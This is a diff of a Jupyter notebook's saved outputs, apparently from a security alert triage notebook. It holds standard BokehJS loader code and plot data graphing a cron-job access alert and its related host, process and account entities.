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},
"metadata": {},
"output_type": "display_data"
- }
- ],
- "source": [
- "utils.md(\"Visualize Entities\", \"large, bold\")\n",
- "utils.md(\"The red circle is the alert object. Green circles are the related entities.\")\n",
- "alertentity_graph = create_alert_graph(selected_alert)\n",
- "nbdisplay.draw_alert_entity_graph(alertentity_graph, width=15)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 35,
- "metadata": {
- "ExecuteTime": {
- "end_time": "2020-08-25T19:40:39.567563Z",
- "start_time": "2020-08-25T19:40:39.429564Z"
},
- "scrolled": false
- },
- "outputs": [
+ {
+ "data": {
+ "application/javascript": [
+ "\n",
+ "(function(root) {\n",
+ " function now() {\n",
+ " return new Date();\n",
+ " }\n",
+ "\n",
+ " var force = true;\n",
+ "\n",
+ " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n",
+ " root._bokeh_onload_callbacks = [];\n",
+ " root._bokeh_is_loading = undefined;\n",
+ " }\n",
+ "\n",
+ " var JS_MIME_TYPE = 'application/javascript';\n",
+ " var HTML_MIME_TYPE = 'text/html';\n",
+ " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
+ " var CLASS_NAME = 'output_bokeh rendered_html';\n",
+ "\n",
+ " /**\n",
+ " * Render data to the DOM node\n",
+ " */\n",
+ " function render(props, node) {\n",
+ " var script = document.createElement(\"script\");\n",
+ " node.appendChild(script);\n",
+ " }\n",
+ "\n",
+ " /**\n",
+ " * Handle when an output is cleared or removed\n",
+ " */\n",
+ " function handleClearOutput(event, handle) {\n",
+ " var cell = handle.cell;\n",
+ "\n",
+ " var id = cell.output_area._bokeh_element_id;\n",
+ " var server_id = cell.output_area._bokeh_server_id;\n",
+ " // Clean up Bokeh references\n",
+ " if (id != null && id in Bokeh.index) {\n",
+ " Bokeh.index[id].model.document.clear();\n",
+ " delete Bokeh.index[id];\n",
+ " }\n",
+ "\n",
+ " if (server_id !== undefined) {\n",
+ " // Clean up Bokeh references\n",
+ " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
+ " cell.notebook.kernel.execute(cmd, {\n",
+ " iopub: {\n",
+ " output: function(msg) {\n",
+ " var id = msg.content.text.trim();\n",
+ " if (id in Bokeh.index) {\n",
+ " Bokeh.index[id].model.document.clear();\n",
+ " delete Bokeh.index[id];\n",
+ " }\n",
+ " }\n",
+ " }\n",
+ " });\n",
+ " // Destroy server and session\n",
+ " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
+ " cell.notebook.kernel.execute(cmd);\n",
+ " }\n",
+ " }\n",
+ "\n",
+ " /**\n",
+ " * Handle when a new output is added\n",
+ " */\n",
+ " function handleAddOutput(event, handle) {\n",
+ " var output_area = handle.output_area;\n",
+ " var output = handle.output;\n",
+ "\n",
+ " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
+ " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n",
+ " return\n",
+ " }\n",
+ "\n",
+ " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
+ "\n",
+ " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
+ " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
+ " // store reference to embed id on output_area\n",
+ " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
+ " }\n",
+ " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
+ " var bk_div = document.createElement(\"div\");\n",
+ " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
+ " var script_attrs = bk_div.children[0].attributes;\n",
+ " for (var i = 0; i < script_attrs.length; i++) {\n",
+ " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
+ " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n",
+ " }\n",
+ " // store reference to server id on output_area\n",
+ " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
+ " }\n",
+ " }\n",
+ "\n",
+ " function register_renderer(events, OutputArea) {\n",
+ "\n",
+ " function append_mime(data, metadata, element) {\n",
+ " // create a DOM node to render to\n",
+ " var toinsert = this.create_output_subarea(\n",
+ " metadata,\n",
+ " CLASS_NAME,\n",
+ " EXEC_MIME_TYPE\n",
+ " );\n",
+ " this.keyboard_manager.register_events(toinsert);\n",
+ " // Render to node\n",
+ " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
+ " render(props, toinsert[toinsert.length - 1]);\n",
+ " element.append(toinsert);\n",
+ " return toinsert\n",
+ " }\n",
+ "\n",
+ " /* Handle when an output is cleared or removed */\n",
+ " events.on('clear_output.CodeCell', handleClearOutput);\n",
+ " events.on('delete.Cell', handleClearOutput);\n",
+ "\n",
+ " /* Handle when a new output is added */\n",
+ " events.on('output_added.OutputArea', handleAddOutput);\n",
+ "\n",
+ " /**\n",
+ " * Register the mime type and append_mime function with output_area\n",
+ " */\n",
+ " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
+ " /* Is output safe? */\n",
+ " safe: true,\n",
+ " /* Index of renderer in `output_area.display_order` */\n",
+ " index: 0\n",
+ " });\n",
+ " }\n",
+ "\n",
+ " // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
+ " if (root.Jupyter !== undefined) {\n",
+ " var events = require('base/js/events');\n",
+ " var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
+ "\n",
+ " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
+ " register_renderer(events, OutputArea);\n",
+ " }\n",
+ " }\n",
+ "\n",
+ " \n",
+ " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
+ " root._bokeh_timeout = Date.now() + 5000;\n",
+ " root._bokeh_failed_load = false;\n",
+ " }\n",
+ "\n",
+ " var NB_LOAD_WARNING = {'data': {'text/html':\n",
+ " \"\\n\"+\n",
+ " \"
\\n\"+\n",
+ " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
+ " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
+ " \"
\\n\"+\n",
+ " \"
\\n\"+\n",
+ " \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n",
+ " \"use INLINE resources instead, as so: \\n\"+\n",
+ " \" \\n\"+\n",
+ " \"
\\n\"+\n",
+ " \"from bokeh.resources import INLINE\\n\"+\n",
+ " \"output_notebook(resources=INLINE)\\n\"+\n",
+ " \"
\\n\"+\n",
+ " \"
\"}};\n",
+ "\n",
+ " function display_loaded() {\n",
+ " var el = document.getElementById(\"2181\");\n",
+ " if (el != null) {\n",
+ " el.textContent = \"BokehJS is loading...\";\n",
+ " }\n",
+ " if (root.Bokeh !== undefined) {\n",
+ " if (el != null) {\n",
+ " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
+ " }\n",
+ " } else if (Date.now() < root._bokeh_timeout) {\n",
+ " setTimeout(display_loaded, 100)\n",
+ " }\n",
+ " }\n",
+ "\n",
+ "\n",
+ " function run_callbacks() {\n",
+ " try {\n",
+ " root._bokeh_onload_callbacks.forEach(function(callback) {\n",
+ " if (callback != null)\n",
+ " callback();\n",
+ " });\n",
+ " } finally {\n",
+ " delete root._bokeh_onload_callbacks\n",
+ " }\n",
+ " console.debug(\"Bokeh: all callbacks have finished\");\n",
+ " }\n",
+ "\n",
+ " function load_libs(css_urls, js_urls, callback) {\n",
+ " if (css_urls == null) css_urls = [];\n",
+ " if (js_urls == null) js_urls = [];\n",
+ "\n",
+ " root._bokeh_onload_callbacks.push(callback);\n",
+ " if (root._bokeh_is_loading > 0) {\n",
+ " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
+ " return null;\n",
+ " }\n",
+ " if (js_urls == null || js_urls.length === 0) {\n",
+ " run_callbacks();\n",
+ " return null;\n",
+ " }\n",
+ " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
+ " root._bokeh_is_loading = css_urls.length + js_urls.length;\n",
+ "\n",
+ " function on_load() {\n",
+ " root._bokeh_is_loading--;\n",
+ " if (root._bokeh_is_loading === 0) {\n",
+ " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n",
+ " run_callbacks()\n",
+ " }\n",
+ " }\n",
+ "\n",
+ " function on_error() {\n",
+ " console.error(\"failed to load \" + url);\n",
+ " }\n",
+ "\n",
+ " for (var i = 0; i < css_urls.length; i++) {\n",
+ " var url = css_urls[i];\n",
+ " const element = document.createElement(\"link\");\n",
+ " element.onload = on_load;\n",
+ " element.onerror = on_error;\n",
+ " element.rel = \"stylesheet\";\n",
+ " element.type = \"text/css\";\n",
+ " element.href = url;\n",
+ " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n",
+ " document.body.appendChild(element);\n",
+ " }\n",
+ "\n",
+ " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n",
+ "\n",
+ " for (var i = 0; i < js_urls.length; i++) {\n",
+ " var url = js_urls[i];\n",
+ " var element = document.createElement('script');\n",
+ " element.onload = on_load;\n",
+ " element.onerror = on_error;\n",
+ " element.async = false;\n",
+ " element.src = url;\n",
+ " if (url in hashes) {\n",
+ " element.crossOrigin = \"anonymous\";\n",
+ " element.integrity = \"sha384-\" + hashes[url];\n",
+ " }\n",
+ " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
+ " document.head.appendChild(element);\n",
+ " }\n",
+ " };\n",
+ "\n",
+ " function inject_raw_css(css) {\n",
+ " const element = document.createElement(\"style\");\n",
+ " element.appendChild(document.createTextNode(css));\n",
+ " document.body.appendChild(element);\n",
+ " }\n",
+ "\n",
+ " \n",
+ " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n",
+ " var css_urls = [];\n",
+ " \n",
+ "\n",
+ " var inline_js = [\n",
+ " function(Bokeh) {\n",
+ " Bokeh.set_log_level(\"info\");\n",
+ " },\n",
+ " function(Bokeh) {\n",
+ " \n",
+ " \n",
+ " }\n",
+ " ];\n",
+ "\n",
+ " function run_inline_js() {\n",
+ " \n",
+ " if (root.Bokeh !== undefined || force === true) {\n",
+ " \n",
+ " for (var i = 0; i < inline_js.length; i++) {\n",
+ " inline_js[i].call(root, root.Bokeh);\n",
+ " }\n",
+ " if (force === true) {\n",
+ " display_loaded();\n",
+ " }} else if (Date.now() < root._bokeh_timeout) {\n",
+ " setTimeout(run_inline_js, 100);\n",
+ " } else if (!root._bokeh_failed_load) {\n",
+ " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
+ " root._bokeh_failed_load = true;\n",
+ " } else if (force !== true) {\n",
+ " var cell = $(document.getElementById(\"2181\")).parents('.cell').data().cell;\n",
+ " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
+ " }\n",
+ "\n",
+ " }\n",
+ "\n",
+ " if (root._bokeh_is_loading === 0) {\n",
+ " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
+ " run_inline_js();\n",
+ " } else {\n",
+ " load_libs(css_urls, js_urls, function() {\n",
+ " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n",
+ " run_inline_js();\n",
+ " });\n",
+ " }\n",
+ "}(window));"
+ ],
+ "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2181\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2181\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ },
{
"data": {
"text/html": [
@@ -908,7 +1164,7 @@
"\n",
"\n",
"\n",
- "
\n"
+ "
\n"
]
},
"metadata": {},
@@ -920,8 +1176,8 @@
"(function(root) {\n",
" function embed_document(root) {\n",
" \n",
- " var docs_json = {\"273b9b5f-60a8-4eae-9c21-2b2cf5b5e7af\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"7588\"}],\"center\":[{\"id\":\"7591\"},{\"id\":\"7595\"},{\"id\":\"7627\"},{\"id\":\"7628\"},{\"id\":\"7629\"},{\"id\":\"7630\"},{\"id\":\"7631\"},{\"id\":\"7632\"},{\"id\":\"7633\"},{\"id\":\"7634\"}],\"left\":[{\"id\":\"7592\"}],\"plot_width\":800,\"renderers\":[{\"id\":\"7612\"}],\"title\":{\"id\":\"7578\"},\"toolbar\":{\"id\":\"7603\"},\"x_range\":{\"id\":\"7580\"},\"x_scale\":{\"id\":\"7584\"},\"y_range\":{\"id\":\"7582\"},\"y_scale\":{\"id\":\"7586\"}},\"id\":\"7577\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"text\":\"host: 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04:03:22\",null,null,null,null,null,null]},\"selected\":{\"id\":\"2295\"},\"selection_policy\":{\"id\":\"2296\"}},\"id\":\"2219\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2198\",\"type\":\"BasicTicker\"},{\"attributes\":{\"edge_renderer\":{\"id\":\"2224\"},\"inspection_policy\":{\"id\":\"2286\"},\"layout_provider\":{\"id\":\"2226\"},\"node_renderer\":{\"id\":\"2220\"},\"selection_policy\":{\"id\":\"2291\"}},\"id\":\"2217\",\"type\":\"GraphRenderer\"},{\"attributes\":{\"text\":\"file: /usr/bin/vim.basic\",\"text_font_size\":\"10pt\",\"x\":0.8694001556613657,\"x_offset\":5,\"y\":-1.8565469854586654,\"y_offset\":5},\"id\":\"2236\",\"type\":\"Label\"},{\"attributes\":{\"data\":{\"color\":[null,null,null,\"green\",\"green\",\"green\",\"green\"],\"description\":[null,null,null,\"ParentProcess\",\"Account\",\"Account\",\"ImageFile\"],\"end\":[\"host: MSTICALERTSLXVM2\",\"process: /usr/bin/vim.basic [0x51b3]\",\"host-logon-session\",\"process: /usr/bin/vim.basic [0x51b3]\",\"process: /usr/bin/vim.basic [0x51b3]\",\"host-logon-session\",\"process: /usr/bin/vim.basic [0x51b3]\"],\"line_type\":[null,null,null,\"SHORT_DASH\",\"SHORT_DASH\",\"SHORT_DASH\",\"SHORT_DASH\"],\"start\":[\"SCUBA_RULE_AccessCronJob\",\"SCUBA_RULE_AccessCronJob\",\"SCUBA_RULE_AccessCronJob\",\"process: unknown [0x518a]\",\"account: dbadmin\",\"account: dbadmin\",\"file: /usr/bin/vim.basic\"],\"weight\":[null,null,null,1,1,1,1]},\"selected\":{\"id\":\"2297\"},\"selection_policy\":{\"id\":\"2298\"}},\"id\":\"2223\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"2187\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2202\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"data_source\":{\"id\":\"2223\"},\"glyph\":{\"id\":\"2222\"},\"hover_glyph\":null,\"muted_glyph\":null,\"view\":{\"id\":\"2225\"}},\"id\":\"2224\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"field\":\"node_color\"},\"size\":{\"units\":\"screen\",\"value\":15}},\"id\":\"2227\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"2223\"}},\"id\":\"2225\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":\"host-logon-session\",\"text_font_size\":\"10pt\",\"x\":-0.744795975242901,\"x_offset\":5,\"y\":1.4358770218722405,\"y_offset\":5},\"id\":\"2238\",\"type\":\"Label\"},{\"attributes\":{\"source\":{\"id\":\"2219\"}},\"id\":\"2221\",\"type\":\"CDSView\"},{\"attributes\":{\"formatter\":{\"id\":\"2292\"},\"ticker\":{\"id\":\"2198\"}},\"id\":\"2197\",\"type\":\"LinearAxis\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"